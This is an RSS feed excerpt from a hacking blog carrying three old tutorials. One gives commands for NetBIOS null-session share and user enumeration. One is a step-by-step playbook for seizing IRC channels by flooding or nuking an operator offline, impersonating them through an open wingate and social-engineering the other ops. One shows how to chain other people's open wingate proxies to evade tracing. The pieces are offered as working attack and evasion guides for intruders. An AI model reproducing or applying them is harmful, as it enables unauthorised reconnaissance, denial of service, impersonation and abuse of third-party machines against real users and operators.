<p>The IPC$ (Inter-Process Communication) share is a standard hidden share on an NT machine which is mainly used for server to server communication. NT machines were designed to connect to each other and obtain different types of necessary information through this share. As with many design features in any operating system, intruders have learned to use this feature for their own purposes. By connecting to this share an intruder has, for all technical purposes, a valid connection to your server. By connecting to this share as null, the intruder has been able to establish this connection without providing it with credentials.</p>
<p>To connect to the IPC$ share as null, an intruder would issue the following command from a command prompt:</p>
<p><code>c:\>net use \\[ip address of target machine]\ipc$ "" /user:""</code></p>
<p><!--adsense#Rectangle--></p>
<p>If the connection is successful, the intruder could do a number of things other than gleaning a user list, but lets start with that first. As mentioned earlier, this technique requires a null IPC session and the SID tools. Written by Evgenii Rudnyi, the SID tools come in two different parts, User2sid and Sid2user. User2sid will take an account name or group and give you the corresponding SID. Sid2user will take a SID and give you the name of the corresponding user or group. As a stand alone tool, this process is manual and very time consuming. Userlist.pl is a perl script written by Mnemonix that will automate this process of SID grinding, which drastically cuts down on the time it would take an intruder to glean this information.</p>
<p>At this point, the intruder knows what services are running on the remote machine, which major software packages have been installed (within limits), and has a list of valid usernames and groups for that machine. Although this may seem like a ton of information for an outsider to have about your network, the null IPC session has opened other venues for information gathering. The Rhino9 team has been able to retrieve the entire native security policy for the remote machine.</p>
<p>Such things as account lockout, minimum password length, password age cycling, password uniqueness settings as well as every user, the groups they belong to and the individual domain restrictions for that user &#8211; all through a null IPC session. This information gathering ability will appear in Rhino9&#8217;s soon to be released Leviathan tool. Some of the tools available now that can be used to gather more information via the IPC null session will be discussed below.</p>
<p>With the null IPC session, an intruder could also obtain a list of network shares that may not otherwise be obtainable.  For obvious reasons, an intruder would like to know what network shares you have available on your machines.  For this information gathering, the standard net view command is used, as follows:</p>
<p><code>c:\>net view \\[ip address of remote machine]</code></p>
<p>Depending on the security policy of the target machine, this list may or may not be denied. Take the example below (ip address has been left out for obvious reasons):</p>
<pre>
C:\>net view \\0.0.0.0
System error 5 has occurred.

Access is denied.

C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.

C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0

Share name   Type         Used as  Comment

---------------------------------------------------------------------
Accelerator  Disk                  Agent Accelerator share for Seagate backup
Inetpub      Disk
mirc         Disk
NETLOGON     Disk                  Logon server share
www_pages    Disk
The command completed successfully.
</pre>
<p>As you can see, the list of shares on that server was not available until after the IPC null session had been established.  At this point you may begin to realize just how dangerous this IPC connection can be, but the IPC techniques that are known to us now are actually very basic.  The possibilities that are presented with the IPC share are just beginning to be explored.  </p>
<p>Once this list of shares had been given, the intruder could then proceed to issue the net use commands as described above.</p>
<p>By By Mr. B10nde &#8211; Updated by Darknet</p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Remote+Network+Penetration+via+NetBios+Hack%2FHacking+http://bit.ly/3aok0L+from+@THEdarknet" title="Post to Twitter"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" /></a> <a class="tt" href="http://delicious.com/post?url=http://www.darknet.org.uk/2006/09/remote-network-penetration-via-netbios-hackhacking/&amp;title=Remote+Network+Penetration+via+NetBios+Hack%2FHacking" title="Post to Delicious"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" /></a> <a class="tt" href="http://digg.com/submit?url=http://www.darknet.org.uk/2006/09/remote-network-penetration-via-netbios-hackhacking/&amp;title=Remote+Network+Penetration+via+NetBios+Hack%2FHacking" title="Post to Digg"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-digg-micro3.png" alt="Post to Digg" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://www.darknet.org.uk/2006/09/remote-network-penetration-via-netbios-hackhacking/&amp;t=Remote+Network+Penetration+via+NetBios+Hack%2FHacking" title="Post to Facebook"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://www.darknet.org.uk/2006/09/remote-network-penetration-via-netbios-hackhacking/&amp;title=Remote+Network+Penetration+via+NetBios+Hack%2FHacking" title="Post to StumbleUpon"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.darknet.org.uk/2006/09/remote-network-penetration-via-netbios-hackhacking/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>How to get Ops and takeover a channel on IRC Hack Hacking</title>
		<link>http://www.darknet.org.uk/2006/08/how-to-get-ops-and-takeover-a-channel-on-irc-hack-hacking/</link>
		<comments>http://www.darknet.org.uk/2006/08/how-to-get-ops-and-takeover-a-channel-on-irc-hack-hacking/#comments</comments>
		<pubDate>Wed, 30 Aug 2006 06:00:30 +0000</pubDate>
		<dc:creator>Darknet</dc:creator>
				<category><![CDATA[General Hacking]]></category>
		<category><![CDATA[Old Skool Philes]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[dalnet]]></category>
		<category><![CDATA[efnet]]></category>
		<category><![CDATA[IRC]]></category>
		<category><![CDATA[irc-hack]]></category>
		<category><![CDATA[irc-hacking]]></category>
		<category><![CDATA[irc-ops]]></category>
		<category><![CDATA[irc-takeover]]></category>
		<category><![CDATA[takeover]]></category>

		<guid isPermaLink="false">http://www.darknet.org.uk/2006/08/how-to-get-ops-and-takeover-a-channel-on-irc-hack-hacking/</guid>
		<description><![CDATA[I&#8217;ve been spending a lot of time online lately reading all kinds of stupid text files on how to &#8220;Takeover Ops Boi!!!&#8221;, &#8220;eLeEt WaYs To gEt OpS!!!&#8221;, &#8220;HOW TO GET OPS ON SERVER SPLITS&#8221;, etc. We all know none of these things work, at least not for me. They&#8217;re either written by morons, or they [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been spending a lot of time online lately reading all kinds of stupid text files on how to &#8220;Takeover Ops Boi!!!&#8221;, &#8220;eLeEt WaYs To gEt OpS!!!&#8221;, &#8220;HOW TO GET OPS ON SERVER SPLITS&#8221;, etc. We all know none of these things work, at least not for me. They&#8217;re either written by morons, or they were written like 10 years ago and don&#8217;t work anymore. The method I&#8217;m presenting here DOES work, but it takes practice, patience, and careful reading.</p>
<p><strong>Tools needed</strong></p>
<p>An IRC script that can do mass deops quickly and easily (preferibly one that lets you press an F# (function) key to do mass deops, or one that automatically mass deops once you gain ops). You don&#8217;t want to have to start going through popup menus since you have to do this quickly.</p>
<p>An IRC script that can do mass CTCP versioning. I&#8217;ll explain later.</p>
<p>A wingate scanner. These aren&#8217;t too hard to find. Check <a href="http://packetstorm.linuxsecurity.com/wingate-scanner/">http://packetstorm.linuxsecurity.com/wingate-scanner/</a></p>
<p>A few &#8216;war&#8217; programs to exploit irc clients, nuke, flood, etc. When I say flood, I don&#8217;t mean like a ping flood in mIRC, I mean like a real ICMP flooder. Try to find Final Fortune, it&#8217;s a program I made myself&#8230; very effective.</p>
<p>A lot of patience.</p>
<p>A brain.</p>
<p><strong>Process</strong></p>
<p>Find a channel you want to takeover. This method will NOT work on Dalnet or any other networks with anything like ChanServ. Also, this won&#8217;t work if all of the ops in the channel are bots (unless they&#8217;re VERY badly programmed). OK, so once you&#8217;re in the channel, do a Version CTCP on all of the ops in there. Look for exploitable scripts (some versions of ircN, mIRC 5.3x, mIRC 5.4, etc.). Now, let&#8217;s say you find someone with nick &#8216;DumbOP&#8217; and he&#8217;s using a script that you know you can exploit and disconnect him from IRC (but don&#8217;t crash him yet!).</p>
<p><!--adsense#Rectangle--></p>
<p>/dns DumbOP to find his IP. Now take your handy wingate scanner. Plug in his IP and search for a similar one with the scanner. If you can&#8217;t find one in the same Class C range, try Class B if you have to, but make sure it resolves to something close to DumbOP&#8217;s IP.</p>
<p>Good, so now you have a wingate IP similar to DumbOP&#8217;s. If you couldn&#8217;t find an IP close to his, try this with another op with an exploitable script. Do a /whois DumbOP to find the IRC server he&#8217;s on and his ident (the thing before the @ip). So now that you have the wingate IP, what do you do with it? I&#8217;ll assume you never wingated before, and I&#8217;ll explain how to do it with mIRC. For<br />
the example, let&#8217;s say the wingate IP is 1.2.3.4, DumbOP&#8217;s ident is &#8216;opident&#8217;, and DumbOP&#8217;s irc server is &#8216;irc.server.net&#8217;.</p>
<p>Open a new instance of mIRC, and in the status window, do the following:</p>
<p>/server 1.2.3.4 23</p>
<p>You&#8217;ll see it say &#8220;WinGate>NICK (some nick)&#8221;</p>
<p>Right after you see this, type:</p>
<p>/quote irc.server.net 6667</p>
<p>You&#8217;ll probably then see something like</p>
<p>&#8220;Connecting to host USER&#8230;Host name lookup for USER failedirc.server.net 6667<br />
Connecting to host irc.server.net&#8230;connected&#8221;</p>
<p>You might see more than this, you might see less. The important thing to watch for is:</p>
<p>&#8221; -1.2.3.4- *** Looking up your hostname&#8230;<br />
 -1.2.3.4- *** Checking Ident<br />
 -1.2.3.4- *** Found your hostname<br />
 -1.2.3.4- *** Got Ident response &#8221;</p>
<p>Once you see that, type:</p>
<p>/quote user opident opident opident opident<br />
/quote nick DumbOP1</p>
<p>You don&#8217;t have to use &#8216;DumbOP1&#8242;, just use any temporary nick you want. Also, you can use &#8216;/raw&#8217; instead of &#8216;/quote&#8217; if you wish.</p>
<p>If you did everything correctly, you&#8217;ll see the MOTD for the irc server, and you&#8217;ll be connected. If by chance 1.2.3.4 is k-lined from irc.server.net, you&#8217;ll have to go through the whole process again with a different server. This makes your &#8220;spoofing&#8221; (it&#8217;s not REALLY spoofing) attempt less realistic looking, but if you have to use a different server, then do it.</p>
<p><!--adsense#Rectangle--></p>
<p>Once you&#8217;re online, everything works like normal. Do a /whois DumbOP1 to see your info. It should be close to DumbOP&#8217;s.</p>
<p>You&#8217;re halfway there! The next thing to do (not necessary, but recommended) is to try to find out some info on DumbOP. I recommend trying &#8220;nbtstat -A &#8221; at the dos prompt, that might provide you with a name or two if you&#8217;re lucky. This is just some useful information that might<br />
come in handy. Also, try searching ICQ for his nick and check his info, you might find good stuff in there.</p>
<p>The next step is to disconnect DumbOP from IRC. Either use an exploit, or nuke him (Click is sometimes useful (if you don&#8217;t know what Click is, it&#8217;s a program made by Rhad to have an IRC server &#8216;nuke&#8217; a person&#8230; it sometimes works)), or ICMP flood him. Do anything you have to to disconnect him. By the way, you should have your original IRC session still open, with your<br />
wingated IRC session running as a different instance of mIRC (you should have 2 &#8216;versions&#8217; of mIRC running at the same time now, one with your original nick, info, etc., and the other with the DumbOP1 stuff). While you&#8217;re attacking DumbOP, monitor the channel with your original session of mIRC and wait for DumbOP to disconnect. Immediately after you see that, rename DumbOP1 to DumbOP (/nick DumbOP) and join the channel! Don&#8217;t say anything! If you&#8217;re lucky, a stupid op will op you. Then mass deop. If nothing happens for about 5 or 6 minutes, mass message the ops, saying something like &#8220;what happened? why am I not opped?&#8221;. You might get into a conversation. Remember to keep calm, and talk like an op. Don&#8217;t freak out and demand for them to op you. The &#8220;useful information&#8221; might come in handy now. Often the ops will tell you to get ops from the bots. Just say something like you&#8217;re desynched from the bots because of your ping timeout.</p>
<p>If your impersonation is good enough, 9/10 times they&#8217;ll op you. Like I said before, IMMEDIATELY do a mass deop. If possible, bring AT LEAST two bots (real bots, not just simple clones) into the channel to hold it and protect it.</p>
<p>If you followed all these steps thoroughly, you should be able to takeover most channels as long as there are at least 2 human ops (1 of which you&#8217;ll be &#8217;spoofing&#8217;, the other you&#8217;ll be messaging to op you). </p>
<p>Good luck and have fun!</p>
<p><em>Originally by St0rmer from EFNet, updated by Darknet.</em></p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=How+to+get+Ops+and+takeover+a+channel+on+IRC+Hack+Hacking+http://bit.ly/30hriX+from+@THEdarknet" title="Post to Twitter"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" /></a> <a class="tt" href="http://delicious.com/post?url=http://www.darknet.org.uk/2006/08/how-to-get-ops-and-takeover-a-channel-on-irc-hack-hacking/&amp;title=How+to+get+Ops+and+takeover+a+channel+on+IRC+Hack+Hacking" title="Post to Delicious"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" /></a> <a class="tt" href="http://digg.com/submit?url=http://www.darknet.org.uk/2006/08/how-to-get-ops-and-takeover-a-channel-on-irc-hack-hacking/&amp;title=How+to+get+Ops+and+takeover+a+channel+on+IRC+Hack+Hacking" title="Post to Digg"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-digg-micro3.png" alt="Post to Digg" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://www.darknet.org.uk/2006/08/how-to-get-ops-and-takeover-a-channel-on-irc-hack-hacking/&amp;t=How+to+get+Ops+and+takeover+a+channel+on+IRC+Hack+Hacking" title="Post to Facebook"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://www.darknet.org.uk/2006/08/how-to-get-ops-and-takeover-a-channel-on-irc-hack-hacking/&amp;title=How+to+get+Ops+and+takeover+a+channel+on+IRC+Hack+Hacking" title="Post to StumbleUpon"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.darknet.org.uk/2006/08/how-to-get-ops-and-takeover-a-channel-on-irc-hack-hacking/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Anonymous Connections Over the Internet &#8211; Using Socks Chains Proxy Proxies</title>
		<link>http://www.darknet.org.uk/2006/08/anonymous-connections-over-the-internet-using-socks-chains-proxy-proxies/</link>
		<comments>http://www.darknet.org.uk/2006/08/anonymous-connections-over-the-internet-using-socks-chains-proxy-proxies/#comments</comments>
		<pubDate>Fri, 25 Aug 2006 03:40:09 +0000</pubDate>
		<dc:creator>Darknet</dc:creator>
				<category><![CDATA[Network Hacking]]></category>
		<category><![CDATA[Old Skool Philes]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[anonymous]]></category>
		<category><![CDATA[anonymous-connections]]></category>
		<category><![CDATA[anonymous-proxies]]></category>
		<category><![CDATA[anonymous-proxy]]></category>
		<category><![CDATA[darknet]]></category>
		<category><![CDATA[proxy-chain]]></category>
		<category><![CDATA[socks-chain]]></category>
		<category><![CDATA[socks-proxies]]></category>

		<guid isPermaLink="false">http://www.darknet.org.uk/2006/08/anonymous-connections-over-the-internet-using-socks-chains-proxy-proxies/</guid>
		<description><![CDATA[Introduction
This  tutorial  is an  attempt to  help you  re-route  all  internet  winsock applications in ms windows trough a socks chain, thus making your connections much more anonymous.
Theory
The more different hops you make your data jump, the more difficult it will be to trace it back. take this [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>This  tutorial  is an  attempt to  help you  re-route  all  internet  winsock applications in ms windows trough a socks chain, thus making your connections much more anonymous.</p>
<p><strong>Theory</strong></p>
<p>The more different hops you make your data jump, the more difficult it will be to trace it back. take this route for example:</p>
<p>    you &#8211;> socks1 &#8211;> socks2 &#8211;> socks3 &#8211;> &#8230; &#8211;> socksx &#8211;> target</p>
<p>People who want to trace you will have to contact x persons to ask their them for their logs. chances are one of them didn&#8217;t log&#8230; and if they logged, the ip seen by each host/socks is the ip of the previous host/socks in the chain.</p>
<p>This works for:</p>
<ul>
<li>icq-like tools</li>
<li>ftp clients</li>
<li>mail clients</li>
<li>telnet clients</li>
<li>
portscanners</li>
<li>(just about anything that uses the internet)</li>
</ul>
<p>It doesn&#8217;t work on most irc servers since  they often check for open wingates<br />
and proxies.</p>
<p><!--adsense#Rectangle--></p>
<p><strong>Now let&#8217;s do it</strong></p>
<p><strong>1)</strong> First you need to find some boxes running wingate, we look for  wingates since the default installation of wingate includes a non-logging socks  server on port 1080</p>
<p>Visit <a href="http://www.samair.ru/proxy/socks.htm">http://www.samair.ru/proxy/socks.htm</a> or <a href="http://www.proxyleecher.com/socks.php">http://www.proxyleecher.com/socks.php</a> for some wide-known wingate ips, or even better: you could try to find some yourself.</p>
<p>To do  this,  i would  suggest  you  use  &#8216;proxy hunter&#8217;,  available for download at <a href="http://www.proxys4all.com/tools.shtml">http://www.proxys4all.com/tools.shtml</a> be sure to look  for wingates (port 23)  and not for socks,  as we only want wingate socks.</p>
<p>You could also use wingatescan, available for download at <a href="http://packetstormsecurity.org/wingate-scanner/">http://packetstormsecurity.org/wingate-scanner/</a></p>
<p>Speed is very important  since we will be using  multiple socks, and we don&#8217;t want  our programs  to time out. with  the  klever dipstick  tool, you can find out  which are the fastest  ones. (get the klever  dipstick program at <a href="http://klever.net/kin/static/dipstick.exe">http://klever.net/kin/static/dipstick.exe</a>)</p>
<p>Just fire off Dipstick.  Rightclick  in  the small green rectangular and choose  Show  main  window. To  import a list of wingates, just click on Advanced, choose Import List and select your file.</p>
<p>You  can also  manually ping a  simple host  by clicking on Manual Ping. Use those wingates with the smallest average time. *duh*</p>
<p><strong>2)</strong> Second, check  if   the  wingates  from  the  list  are actually running <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>There are  a lot of  programs that can  help you with this.</p>
<p><strong>3)</strong> Third,  install  a  program  that  will  intercept all  outgoing networking calls.</p>
<p>I use the  great tool  sockscap for  this purpose.  you can  get it  at  <a href="http://www.socks.permeo.com/Download/SocksCapDownload/index.asp">http://www.socks.permeo.com/Download/SocksCapDownload/index.asp</a></p>
<p>In the  setting, enter  this  as  socks server  : 127.0.0.1  port  8000. Click  on  &#8217;socks  version  5&#8242;.  click  &#8216;resolve  all  names  remotely&#8217;. Uncheck &#8217;supported authentication&#8217;.</p>
<p>In  the main  window, choose new  and then browse  to create a  shortcut for the internet client you want to give socks support.</p>
<p>Repeat this step for every program you want.</p>
<p><strong>4)</strong> Install SocksChain</p>
<p>Download it at <a href="http://www.ufasoft.com/socks">http://www.ufasoft.com/socks</a></p>
<p>In the service  menu, click on new. enter &#8216;Chain&#8217;  as name and &#8216;8000&#8242; as port to accept connections on.</p>
<p>Click on  new and fill  in the ips of  the fastest  wingates you  found, but this time, use port 1080 for this (and not the port 23)</p>
<p>Using the  &#8216;<' and '>&#8216;,  you can add and  remove socks.  be sure to test all socks  one by  one  before  adding  them  all to  the list  in once,  because if  one of  them is  bad, you  chain will not work  and you will     not be able to locate the bad socks in the chain.</p>
<p>If all  of them  seem to  work, you  use the  &#8216;<' key  to add  them  all (mind  speed  problems. 4  or less  is fine.  i think  10 or  13 is  the limit put by tcp/ip)</p>
<p><!--adsense#Rectangle--></p>
<p><strong>Testing your anonymous setup</strong></p>
<p>To check  what socks  your computer  is connecting to, you can use x-ploiters totostat (<a href="http://tucows.mundofree.com/preview/7534.html">http://tucows.mundofree.com/preview/7534.html</a>). look for connections  to port 1080,  the remote ip  found there should be the first ip found in your chain in sockschain.</p>
<p>use the shortcut  in sockscap that  points to your  browser, and connect  to  <a href="http://cavency.virtualave.net/cgi-bin/env.cgi">http://cavency.virtualave.net/cgi-bin/env.cgi</a> or<br />
<a href="http://www.junkbuster.com/cgi-bin/show_http_headers">http://www.junkbuster.com/cgi-bin/show_http_headers</a></p>
<p>Use your shortcut  in sockcap to  start your  telnet  client then  telnet to ukanaix.cc.ukans.edu</p>
<p>In all the above cases, the remote server should show you the ip of the last server in  the  sockschain.  if you  look at  the  sockschain  program while surfing you should see the chain being built up.</p>
<p><strong>Some final remarks</strong></p>
<p>Never use  internet explorer to do tricky  stuff as it might reveal your ip. my personal favorite browser is opera 4.0 (http://www.opera.com/), Darknet recommends Firefox.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-3033787195489589";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as_rimg";
google_cpa_choice = "CAAQj6eVzgEaCIxA5niBniDSKOm293M";
//--></script><br />
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>To avoid info being sent out, we  could install another proxy  between the sockscap and the sockschainer proxy that would filter out those things. A4proxy is an example of a proxy capable of doing such things or <a href="http://www.spamblocked.com/proxomitron/">Proximitron</a> which Darknet uses.</p>
<p>Remember, if you want to do the real stuff, better switch to Linux like <a href="http://www.ubuntu.com/">Ubuntu</a>.</p>
<p>Written by Zoa_chien &#8211; EFNet &#8211; Updated with current info, lists and URL&#8217;s by Darknet.</p>
<p><a href="http://www.digg.com/security/ULTIMATE_Anonymity_With_Proxy_Chains">Digg This Article</a></p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Anonymous+Connections+Over+the+Internet+%E2%80%93+Using+Socks+Chains+Proxy+Proxies+http://bit.ly/4q6wY+from+@THEdarknet" title="Post to Twitter"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" /></a> <a class="tt" href="http://delicious.com/post?url=http://www.darknet.org.uk/2006/08/anonymous-connections-over-the-internet-using-socks-chains-proxy-proxies/&amp;title=Anonymous+Connections+Over+the+Internet+%E2%80%93+Using+Socks+Chains+Proxy+Proxies" title="Post to Delicious"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" /></a> <a class="tt" href="http://digg.com/submit?url=http://www.darknet.org.uk/2006/08/anonymous-connections-over-the-internet-using-socks-chains-proxy-proxies/&amp;title=Anonymous+Connections+Over+the+Internet+%E2%80%93+Using+Socks+Chains+Proxy+Proxies" title="Post to Digg"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-digg-micro3.png" alt="Post to Digg" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://www.darknet.org.uk/2006/08/anonymous-connections-over-the-internet-using-socks-chains-proxy-proxies/&amp;t=Anonymous+Connections+Over+the+Internet+%E2%80%93+Using+Socks+Chains+Proxy+Proxies" title="Post to Facebook"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://www.darknet.org.uk/2006/08/anonymous-connections-over-the-internet-using-socks-chains-proxy-proxies/&amp;title=Anonymous+Connections+Over+the+Internet+%E2%80%93+Using+Socks+Chains+Proxy+Proxies" title="Post to StumbleUpon"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.darknet.org.uk/2006/08/anonymous-connections-over-the-internet-using-socks-chains-proxy-proxies/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
